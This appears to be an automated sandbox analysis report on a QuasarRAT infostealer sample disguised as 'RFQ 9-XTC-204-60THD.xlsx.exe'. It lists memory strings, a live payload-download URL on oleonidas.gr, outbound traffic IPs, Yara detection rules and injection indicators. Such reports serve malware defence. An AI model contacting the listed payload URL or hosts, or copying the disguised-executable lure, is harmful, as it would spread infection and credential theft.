                Source: InstallUtil.exe, 00000003.00000002.2616964238.0000000001592000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.3.drString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
                Source: InstallUtil.exe, 00000003.00000002.2617888276.00000000034EE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ipwho.is
                Source: InstallUtil.exe, 00000003.00000002.2617888276.00000000034EE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ipwho.isd
                Source: InstallUtil.exe, 00000003.00000002.2617888276.000000000353A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/
                Source: InstallUtil.exe, 00000003.00000002.2617888276.000000000353A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/d
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1541050756.0000000002811000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2617888276.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, RealErrorObject.exe, 00000005.00000002.1821278737.0000000002E01000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org/
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-net
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, RealErrorObject.exe, 00000005.00000002.1843673072.000000000485C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-netJ
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-neti
                Source: InstallUtil.exe, 00000003.00000002.2617888276.00000000034DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ipwho.is
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2617888276.00000000034DC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://ipwho.is/
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/11564914/23354;
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1541050756.00000000028BA000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2617888276.000000000332D000.00000004.00000800.00020000.00000000.sdmp, RealErrorObject.exe, 00000005.00000002.1821278737.0000000002EAA000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/14436606/23354
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/2152978/23354
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/2152978/23354sCannot
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1541050756.0000000002811000.00000004.00000800.00020000.00000000.sdmp, RealErrorObject.exe, 00000005.00000002.1821278737.0000000002E01000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.oleonidas.gr
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1541050756.0000000002811000.00000004.00000800.00020000.00000000.sdmp, RealErrorObject.exe, 00000005.00000002.1821278737.0000000002E01000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.oleonidas.gr/elioz/Ncvotkdidv.mp3
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, RealErrorObject.exe.0.drString found in binary or memory: https://www.oleonidas.gr/elioz/Ncvotkdidv.mp3=Unable
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
                Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
                Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
                Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
                Source: unknownHTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.9:49712 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 103.126.138.87:443 -> 192.168.2.9:49771 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.9:49777 version: TLS 1.2

                E-Banking Fraud

                barindex
                Yara detected Quasar RAT
                Source: Yara matchFile source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.1830201966.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.2617888276.000000000353A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1541050756.0000000002D86000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.1843673072.0000000004745000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.1821278737.0000000003258000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: RFQ 9-XTC-204-60THD.xlsx.exe PID: 7488, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 7792, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: RealErrorObject.exe PID: 7996, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 8184, type: MEMORYSTR

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpack, type: UNPACKEDPEMatched rule: Detects QuasarRAT malware Author: Florian Roth
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpack, type: UNPACKEDPEMatched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpack, type: UNPACKEDPEMatched rule: Detects Quasar infostealer Author: ditekshen
                Source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects QuasarRAT malware Author: Florian Roth
                Source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
                Source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Quasar infostealer Author: ditekshen
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects QuasarRAT malware Author: Florian Roth
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Quasar infostealer Author: ditekshen
                Initial sample is a PE file and has a suspicious name
                Source: initial sampleStatic PE information: Filename: RFQ 9-XTC-204-60THD.xlsx.exe
                Windows Scripting host queries suspicious COM object (likely to drop second stage)
                Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0484E870 NtResumeThread,0_2_0484E870
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0484E868 NtResumeThread,0_2_0484E868
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0603E170 NtProtectVirtualMemory,0_2_0603E170
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0603DFA0 NtProtectVirtualMemory,0_2_0603DFA0
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663C4B0 NtProtectVirtualMemory,5_2_0663C4B0
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663E9D8 NtResumeThread,5_2_0663E9D8
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663C4AB NtProtectVirtualMemory,5_2_0663C4AB
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663E9D0 NtResumeThread,5_2_0663E9D0
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_048486880_2_04848688
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_048450080_2_04845008
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_048470200_2_04847020
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_048470300_2_04847030
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_048400400_2_04840040
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_04843D600_2_04843D60
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0484F9A00_2_0484F9A0
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0484F9B00_2_0484F9B0
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0603DAE00_2_0603DAE0
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0603A9580_2_0603A958
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0603CE0B0_2_0603CE0B
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0603CE180_2_0603CE18
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06035F070_2_06035F07
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06035F080_2_06035F08
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0603DAD00_2_0603DAD0
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0603309A0_2_0603309A
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_060330A80_2_060330A8
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0603A94B0_2_0603A94B
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DC1DF00_2_06DC1DF0
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DC1DE00_2_06DC1DE0
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DC23780_2_06DC2378
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DC23680_2_06DC2368
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DF4F590_2_06DF4F59
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DF68CB0_2_06DF68CB
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DF3C600_2_06DF3C60
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DFAEB00_2_06DFAEB0
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DFAEA00_2_06DFAEA0
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DF02780_2_06DF0278
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DF02680_2_06DF0268
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DF3C500_2_06DF3C50
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DFC1980_2_06DFC198
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DFC1880_2_06DFC188
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E4C7580_2_06E4C758
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E4B7180_2_06E4B718
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E435200_2_06E43520
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E42A580_2_06E42A58
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E4C7480_2_06E4C748
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E4B7090_2_06E4B709
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E435110_2_06E43511
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E42A480_2_06E42A48
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E43A280_2_06E43A28
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E43A190_2_06E43A19
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E423280_2_06E42328
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E423180_2_06E42318
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072A00400_2_072A0040
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072A03670_2_072A0367
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072A12480_2_072A1248
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072EEDF80_2_072EEDF8
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072EE3180_2_072EE318
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072D00060_2_072D0006
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072D00400_2_072D0040
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 3_2_056FEFE43_2_056FEFE4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 3_2_07FCA6203_2_07FCA620
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 3_2_07FC6D883_2_07FC6D88
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_02C450085_2_02C45008
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_02C486885_2_02C48688
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_02C400405_2_02C40040
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_02C470205_2_02C47020
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_02C470305_2_02C47030
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_02C43D605_2_02C43D60
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663C2285_2_0663C228
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_066390A05_2_066390A0
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663B5605_2_0663B560
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_066345795_2_06634579
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663B55B5_2_0663B55B
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_066345885_2_06634588
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663C2205_2_0663C220
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663FB285_2_0663FB28
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663FB385_2_0663FB38
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663909B5_2_0663909B
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072B1DE05_2_072B1DE0
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072B1DF05_2_072B1DF0
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072B23685_2_072B2368
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072B23785_2_072B2378
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072E4F5B5_2_072E4F5B
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072EAE595_2_072EAE59
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072E3C605_2_072E3C60
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072E68CB5_2_072E68CB
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072E02685_2_072E0268
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072E02785_2_072E0278
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072EAEB05_2_072EAEB0
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072EC1885_2_072EC188
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072EC1985_2_072EC198
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072E90695_2_072E9069
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072E3C505_2_072E3C50
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_073113F05_2_073113F0
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_073113B95_2_073113B9
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0733B7185_2_0733B718
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0733C7585_2_0733C758
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_073335205_2_07333520
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_07332A585_2_07332A58
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0733B7095_2_0733B709
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0733C7485_2_0733C748
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_073335115_2_07333511
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_073323285_2_07332328
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_073323185_2_07332318
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_07333A285_2_07333A28
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_07333A195_2_07333A19
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_07332A485_2_07332A48
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_077900405_2_07790040
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_077903675_2_07790367
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_077912485_2_07791248
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_077DEDF85_2_077DEDF8
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_077DE3185_2_077DE318
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_077C00405_2_077C0040
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_077C003F5_2_077C003F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 6_2_0117F03C6_2_0117F03C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 6_2_050790686_2_05079068
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 6_2_050705086_2_05070508
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 6_2_050705186_2_05070518
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 6_2_05079EE06_2_05079EE0
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1539628168.00000000009DE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs RFQ 9-XTC-204-60THD.xlsx.exe
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1565207093.0000000004850000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs RFQ 9-XTC-204-60THD.xlsx.exe
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameprotobuf-net.dllJ vs RFQ 9-XTC-204-60THD.xlsx.exe
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameClient.exe. vs RFQ 9-XTC-204-60THD.xlsx.exe
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameprotobuf-net.dllJ vs RFQ 9-XTC-204-60THD.xlsx.exe
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003811000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs RFQ 9-XTC-204-60THD.xlsx.exe
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1541050756.0000000002D86000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameClient.exe. vs RFQ 9-XTC-204-60THD.xlsx.exe
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1541050756.0000000002860000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename vs RFQ 9-XTC-204-60THD.xlsx.exe
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000000.1350926207.0000000000466000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameAvtohnfr.exe2 vs RFQ 9-XTC-204-60THD.xlsx.exe
                Source: RFQ 9-XTC-204-60THD.xlsx.exeBinary or memory string: OriginalFilenameAvtohnfr.exe2 vs RFQ 9-XTC-204-60THD.xlsx.exe
                Source: RFQ 9-XTC-204-60THD.xlsx.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpack, type: UNPACKEDPEMatched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
                Source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
                Source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
                Source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
